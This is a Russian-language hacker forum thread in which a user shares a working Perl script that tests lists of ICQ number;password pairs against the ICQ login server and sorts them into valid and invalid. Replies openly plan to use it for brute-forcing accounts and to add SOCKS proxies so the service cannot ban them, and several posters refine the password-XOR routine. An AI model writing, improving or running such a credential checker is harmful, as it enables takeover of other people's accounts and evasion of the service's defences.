Маленький Icq чекер

[biophreak]

Для собственных нужд накалякал маленький чекер асек по листу (uin;pass)
В планах добавить соксы и треды, пока с задержкой 5 секунд чекаю, ибо надо было для небольших листов...в общем может кому пригодится:

#!perl
# Simple icq list checker by biophreak ( s-teals.org )
# Usage: perl ./icq-check.pl <uins.list>
use warnings;
use strict;
use Socket;
use IO::Handle;
my $DEBUG = 0; # just for fun
my $uinlist = shift || die '[ERROR] Specify uinlist!';
my $timeout = 3; ### Wait some time before next check
################################################## ##
my($uin, $pass);
(open U, $uinlist and my @uins = <U> and close U) or die "Cannot open file $uinlist: $!\n";

for (my $i=0; $i < scalar @uins; $i++)
{
($uin,$pass) = split /;/,$uins[$i];
chomp $pass;
icq_check($uin, $pass) if defined $uin and defined $pass;
sleep $timeout;
}

sub icq_check
{
my ($uin, $password) = @_;
my ($server,$port) = ("login.icq.com", 5190);
my ($socket,$i,$answer_data,$auth_request,$flap,$data );
my $seq_num = rand(0xFFFF);
$data= "\x00\x00\x00\x01\x00\x01".pack('n',length $uin).$uin."\x00\x02".pack('n',length $password).substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x 53\x7A\x95\x7C",0,length $password);
$flap = "\x2a\x01".pack('n',$seq_num++).pack('n',length $data);
$auth_request =$flap.$data;
socket(SOCK, AF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "Cannot open socket: $!\n";
connect(SOCK, sockaddr_in($port, inet_aton($server))) or die "Cannot connect: $!\n";
SOCK->autoflush(1);
sysread(SOCK,$answer_data,16) or die "Cannot read from socket: $!\n";
print SOCK $auth_request;
sysread(SOCK,$answer_data,96) or die "Cannot read from socket: $!\n";;
if ($answer_data =~ /mismatch_passwd.html/io) {
print "[DEBUG] $answer_data\n" if $DEBUG == 1;
print "[BAD] : [ $uin;$pass ]\n";

} elsif($answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/o) {
print "[DEBUG] $answer_data\n" if $DEBUG == 1;
print "[GOOD] : [ $uin;$pass ]\n";
} else {
print "[DEBUG] $answer_data\n" if $DEBUG == 1;
print "[ERROR] [ $uin;$pass ] - Too many tries(or too fast).Try later\n";
}
close SOCK;
}

ЗЫЖ Делая смотрел в сорцы BuH@LicH, выкинул лишние заголовки пакета логина (такие как версии клиента, его идентификатор, язык), ну и другое, не нужное для логина...

[Isis]

оО маладетс...
А я для брута возьму ;-)

[biophreak]

Аськовцы могут забанить...надеюсь, в ближайшее будущее прикручу соксы :)

[Isis]

Не могут они забанить..
Я делать буду под брут, а там 1 к 100 тясячам что пасс подойдет..

[biophreak]

да я про то, что они при множестве частых попыток банят :) правда на 1 уин...на разные по-идее должно без проблем отработать...

[Tapaceuka]

куль, токо осталось откапать бесплатный хостинг где с этими сокетами попёр бы скрипт

[demonoid]

for (my $i=0; $i < scalar @uins; $i++)
имхо так интересней
for ( my $i=0; $i < $#uins+1; $i++ )

sub xor_password
{
my $password = shift;
my @xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
my $xored_password;
my $i = 0;
foreach my $pchar(split //,$password) {
$xored_password.=$pchar ^ $xor[$i++];
$i=0 if $i eq @xor; #глупо максимальная длина пароля 8 символов
}
return $xored_password;
}
Кривовато написано , мой вариант :
sub xor_password
{
my ( $pwd,$xor_pwd ) =( shift,undef );

my @xor=( "\xF3", "\x26", "\x81", "\xC4",
"\x39", "\x86", "\xDB", "\x92",
"\x71", "\xA3", "\xB9", "\xE6",
"\x53", "\x7A", "\x95", "\x7C" );

for( my $i=0;$i<length($pwd);$i++ )
{
$xor_pwd.= substr($pwd,$i,1)^$xor[$i];
}
return $xor_pwd;
}
а вообще молодец++ ! :)

[Digimortal]

>> имхо так интересней

неа.. )

>> Кривовато написано , мой вариант

ну тогда вот и мой: +)
sub xor_password {

my $pwd = shift;

my $xor = "\xF3\x26\x81\xC4\x39\x86\xDB\x92"
. "\x71\xA3\xB9\xE6\x53\x7A\x95\x7C";

return substr($pwd^$xor, 0, length($pwd));
}

[biophreak]

Немного почистил код, решил пообще не юзать ф-ию xor_password...подглядел в подсказку Digimortal =)
Обновил первый пост...

ЗЫЖ Посмотрел в шапку скрипта, понял что что-то не то, потом понял что именно:
use Socket;
use IO::Handle;
поправил на
use IO::Socket; =)

[FooBar]

если ты создаешь сокет как в С, то тогда там use Socket нужно использовать, а если уж ты используешь IO::Socket::INET, то можно сделать в одну строку $socket = new IO::Socket::INET('login.icq.com:5190');

[biophreak]

Хм...давай подумаем так...в IO::Socket уже включен Socket и хендл... а вот чтобы лишний раз не подключать хендл, я подумал что так будет рациональнее...ага?

ЗЫЖ И кто тебе сказал, что нужно а что не нужно? :)))))

[Digimortal]

>> я подумал что так будет рациональнее...ага?

нет.. получается ты подключаешь модуль и не используешь его.. тогда уж лучше перепиши весь код под io::socket..

[biophreak]

Думаешь? Да, конечно минус в том, что он подгружает весь IO::Socket... =)
Переписывать пока не буду, привык к use Socket =))))

Поправил 1й пост на
use Socket;
use IO::Handle; =))

[Digimortal]

там делов-то 5 строчек поправить.. )
как уже написали:
$socket = new IO::Socket::INET('login.icq.com:5190');
чтоб отрыть сокет, а затем
$socket->recv($answer_data, 16) or die "Cannot read from socket: $!\n";
заместоsysread(SOCK,$answer_data,16) or die "Cannot read from socket: $!\n";и$socket->send($auth_request);вместоprint SOCK $auth_request;
имхо удобнее и главное становится код читабельнее.. )

[biophreak]

Да как пользоваться IO::Socket я знаю ;) :)
Мне просто привычнее юзать Socket =)

[roker777]

Слушайте я чуть не шарю, куда этот скрипт вставлять нужно?